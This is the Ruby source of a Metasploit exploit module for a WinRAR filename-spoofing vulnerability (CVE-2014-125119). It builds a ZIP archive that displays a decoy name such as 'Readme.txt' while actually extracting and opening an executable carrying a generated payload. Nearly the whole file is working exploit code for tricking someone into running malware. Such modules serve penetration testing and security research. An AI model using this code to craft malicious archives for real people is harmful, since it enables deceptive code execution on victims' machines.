WinRAR Filename Spoofing

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WinRAR Filename Spoofing',
        'Description' => %q{
          This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists
          when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from
          the central directory, but the file names used to extract and open contents come from the
          Local File Header. This inconsistency allows to spoof file names when opening ZIP files
          with WinRAR, which can be abused to execute arbitrary code, as exploited in the wild in
          March 2014
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'chr1x', # Vulnerability discoverer according to OSVDB
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2014-125119' ],
          [ 'OSVDB', '62610' ],
          [ 'BID', '66383' ],
          [ 'URL', 'http://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html'],
          [ 'URL', 'http://an7isec.blogspot.co.il/']
        ],
        'Platform' => [ 'win' ],
        'Payload' => {
          'DisableNops' => true,
          'Space' => 4096
        },
        'Targets' => [
          [ 'Windows Universal', {} ]
        ],
        'DisclosureDate' => '2009-09-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('SPOOF', [ true, 'The spoofed file name to show', 'Readme.txt']),
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
      ]
    )
  end

  def exploit
    exe_filename = rand_text_alpha(rand(6) + 1)
    exe_filename << ".exe"

    zip = Rex::Zip::Archive.new
    zip.add_file(exe_filename, generate_payload_exe, nil, nil, datastore['SPOOF'])
    pack = zip.pack

    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(pack)
  end
end